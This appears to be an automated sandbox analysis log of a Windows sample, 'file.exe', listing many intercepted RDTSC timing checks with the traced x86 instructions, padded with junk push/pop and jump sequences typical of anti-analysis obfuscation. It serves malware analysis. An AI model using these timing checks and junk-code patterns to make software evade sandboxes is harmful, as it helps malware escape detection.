Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08F9 second address: 4EC08FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09C9 second address: 4EC09CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09CD second address: 4EC09D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09D3 second address: 4EC09D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09D8 second address: 4EC0A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6B30D7C39Dh 0x0000000a or cl, FFFFFFB6h 0x0000000d jmp 00007F6B30D7C3A1h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edi, si 0x0000001e mov cl, E2h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A0D second address: 4EC0A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov di, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6B312295F1h 0x00000015 sbb ax, 0B76h 0x0000001a jmp 00007F6B312295F1h 0x0000001f popfd 0x00000020 mov ax, 3A67h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70073 second address: 4E70079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70079 second address: 4E700AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B312295F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700AA second address: 4E70114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 pushfd 0x00000011 jmp 00007F6B30D7C39Fh 0x00000016 xor al, 0000001Eh 0x00000019 jmp 00007F6B30D7C3A9h 0x0000001e popfd 0x0000001f popad 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 and esp, FFFFFFF8h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F6B30D7C3A5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70114 second address: 4E7011A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7011A second address: 4E70147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov di, F6EAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e jmp 00007F6B30D7C39Eh 0x00000013 mov dword ptr [esp], ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6B30D7C39Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70147 second address: 4E7014D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7014D second address: 4E70170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B30D7C3A7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70170 second address: 4E701C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B312295EFh 0x00000008 mov esi, 1AE9225Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebx 0x00000013 jmp 00007F6B312295F2h 0x00000018 mov ebx, dword ptr [ebp+10h] 0x0000001b pushad 0x0000001c mov ebx, ecx 0x0000001e mov ecx, 14585599h 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007F6B312295F4h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701C6 second address: 4E701CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701CD second address: 4E70222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B312295F3h 0x00000013 sub ch, FFFFFFCEh 0x00000016 jmp 00007F6B312295F9h 0x0000001b popfd 0x0000001c push eax 0x0000001d pop edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70222 second address: 4E702B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B30D7C3A3h 0x00000009 or ecx, 025875DEh 0x0000000f jmp 00007F6B30D7C3A9h 0x00000014 popfd 0x00000015 call 00007F6B30D7C3A0h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov esi, dword ptr [ebp+08h] 0x00000021 jmp 00007F6B30D7C3A1h 0x00000026 xchg eax, edi 0x00000027 pushad 0x00000028 mov dl, ah 0x0000002a movsx edx, ax 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007F6B30D7C39Bh 0x00000034 xchg eax, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 call 00007F6B30D7C3A7h 0x0000003d pop eax 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702B2 second address: 4E702B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702B8 second address: 4E702BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702BC second address: 4E702C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702C0 second address: 4E70395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b call 00007F6B30D7C39Ah 0x00000010 mov ecx, 09F235D1h 0x00000015 pop esi 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F6B30D7C39Ah 0x0000001d xor ah, 00000028h 0x00000020 jmp 00007F6B30D7C39Bh 0x00000025 popfd 0x00000026 pop esi 0x00000027 popad 0x00000028 je 00007F6BA339A6B3h 0x0000002e pushad 0x0000002f jmp 00007F6B30D7C3A5h 0x00000034 push ecx 0x00000035 pushfd 0x00000036 jmp 00007F6B30D7C3A7h 0x0000003b sub si, 12CEh 0x00000040 jmp 00007F6B30D7C3A9h 0x00000045 popfd 0x00000046 pop eax 0x00000047 popad 0x00000048 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004f jmp 00007F6B30D7C3A7h 0x00000054 je 00007F6BA339A655h 0x0000005a pushad 0x0000005b mov di, si 0x0000005e mov ch, 1Ah 0x00000060 popad 0x00000061 mov edx, dword ptr [esi+44h] 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F6B30D7C3A5h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70395 second address: 4E70399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70399 second address: 4E7039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7039F second address: 4E70434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F6B312295F0h 0x00000011 test edx, 61000000h 0x00000017 jmp 00007F6B312295F0h 0x0000001c jne 00007F6BA3847896h 0x00000022 jmp 00007F6B312295F0h 0x00000027 test byte ptr [esi+48h], 00000001h 0x0000002b jmp 00007F6B312295F0h 0x00000030 jne 00007F6BA3847885h 0x00000036 jmp 00007F6B312295F0h 0x0000003b test bl, 00000007h 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F6B312295F7h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6092A second address: 4E60948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b call 00007F6B30D7C3A2h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60948 second address: 4E60986 instructions: 0x00000000 rdtsc 0x00000002 mov bh, BEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bh, ah 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f jmp 00007F6B312295EEh 0x00000014 popad 0x00000015 and esp, FFFFFFF8h 0x00000018 pushad 0x00000019 mov ax, A22Dh 0x0000001d mov si, 3429h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6B312295EEh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60986 second address: 4E6098A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6098A second address: 4E60990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60990 second address: 4E60A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6B30D7C3A1h 0x00000011 or esi, 7B3E2296h 0x00000017 jmp 00007F6B30D7C3A1h 0x0000001c popfd 0x0000001d mov bx, si 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 pushad 0x00000023 mov di, si 0x00000026 pushfd 0x00000027 jmp 00007F6B30D7C3A4h 0x0000002c or al, FFFFFFE8h 0x0000002f jmp 00007F6B30D7C39Bh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 jmp 00007F6B30D7C3A6h 0x0000003c push eax 0x0000003d jmp 00007F6B30D7C39Bh 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F6B30D7C3A0h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A34 second address: 4E60A3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A3A second address: 4E60AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007F6B30D7C3A0h 0x00000011 sub ebx, ebx 0x00000013 jmp 00007F6B30D7C3A1h 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov al, dl 0x0000001f pushfd 0x00000020 jmp 00007F6B30D7C3A4h 0x00000025 add si, C698h 0x0000002a jmp 00007F6B30D7C39Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AA0 second address: 4E60AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AA5 second address: 4E60B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6B30D7C3A5h 0x0000000a add esi, 43D59C36h 0x00000010 jmp 00007F6B30D7C3A1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F6BA33A1C4Ah 0x0000001f pushad 0x00000020 mov edi, eax 0x00000022 mov dx, si 0x00000025 popad 0x00000026 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F6B30D7C3A1h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B01 second address: 4E60B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007F6B312295EEh 0x00000010 je 00007F6BA384EE63h 0x00000016 pushad 0x00000017 push eax 0x00000018 mov ecx, edi 0x0000001a pop ebx 0x0000001b popad 0x0000001c test byte ptr [77516968h], 00000002h 0x00000023 jmp 00007F6B312295EBh 0x00000028 jne 00007F6BA384EE58h 0x0000002e pushad 0x0000002f mov esi, 2DCF65EBh 0x00000034 mov ax, 75C7h 0x00000038 popad 0x00000039 mov edx, dword ptr [ebp+0Ch] 0x0000003c jmp 00007F6B312295EAh 0x00000041 xchg eax, ebx 0x00000042 jmp 00007F6B312295F0h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F6B312295EEh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B84 second address: 4E60B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B8A second address: 4E60B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B8E second address: 4E60BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6B30D7C3A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DD1 second address: 4E70DEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B5F second address: 4E70B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6B30D7C3A7h 0x0000000a adc eax, 70C59DBEh 0x00000010 jmp 00007F6B30D7C3A9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B9C second address: 4E70BDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 pushfd 0x00000011 jmp 00007F6B312295F4h 0x00000016 sbb cl, 00000018h 0x00000019 jmp 00007F6B312295EBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BDD second address: 4E70BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BF5 second address: 4E70BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0A6F second address: 4EF0A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0A73 second address: 4EF0AE6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6B312295EDh 0x00000008 or cx, 4936h 0x0000000d jmp 00007F6B312295F1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F6B312295F3h 0x00000020 sbb esi, 7B6C666Eh 0x00000026 jmp 00007F6B312295F9h 0x0000002b popfd 0x0000002c jmp 00007F6B312295F0h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0AE6 second address: 4EF0B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B30D7C3A1h 0x00000008 call 00007F6B30D7C3A0h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F6B30D7C39Dh 0x0000001b and cx, AEB6h 0x00000020 jmp 00007F6B30D7C3A1h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0017 second address: 4EF001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF001B second address: 4EF002D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 24F7h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF002D second address: 4EF0031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0031 second address: 4EF0037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0037 second address: 4EF003D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF003D second address: 4EF0041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0041 second address: 4EF00AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6B312295F5h 0x00000010 sub si, D506h 0x00000015 jmp 00007F6B312295F1h 0x0000001a popfd 0x0000001b pushad 0x0000001c call 00007F6B312295EEh 0x00000021 pop ecx 0x00000022 jmp 00007F6B312295EBh 0x00000027 popad 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F6B312295F0h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF00AA second address: 4EF00B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DD3 second address: 4EE0DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DD9 second address: 4EE0DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DDD second address: 4EE0DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DEC second address: 4EE0E2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov ecx, 7F9B8EF3h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F6B30D7C3A5h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6B30D7C39Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0E2E second address: 4EE0E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800CA second address: 4E800D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800D0 second address: 4E800D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800D4 second address: 4E8011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B30D7C3A6h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F6B30D7C3A0h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F6B30D7C3A0h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8011D second address: 4E80121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80121 second address: 4E8013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF024A second address: 4EF024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF024E second address: 4EF0252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0252 second address: 4EF0258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEA03 second address: AAEA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90536 second address: 4E9057B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 54h 0x00000005 jmp 00007F6B312295F8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push FFFFFFFEh 0x0000000f jmp 00007F6B312295F0h 0x00000014 push 5BE20043h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6B312295ECh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9057B second address: 4E90627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2CADC05Bh 0x00000010 jmp 00007F6B30D7C3A6h 0x00000015 call 00007F6B30D7C399h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F6B30D7C39Eh 0x00000021 xor eax, 4EE435B8h 0x00000027 jmp 00007F6B30D7C39Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F6B30D7C3A8h 0x00000033 add al, 00000018h 0x00000036 jmp 00007F6B30D7C39Bh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e jmp 00007F6B30D7C3A9h 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F6B30D7C39Ch 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90627 second address: 4E90672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F6B312295F8h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F6B312295EBh 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f call 00007F6B312295F2h 0x00000024 pop esi 0x00000025 rdtsc
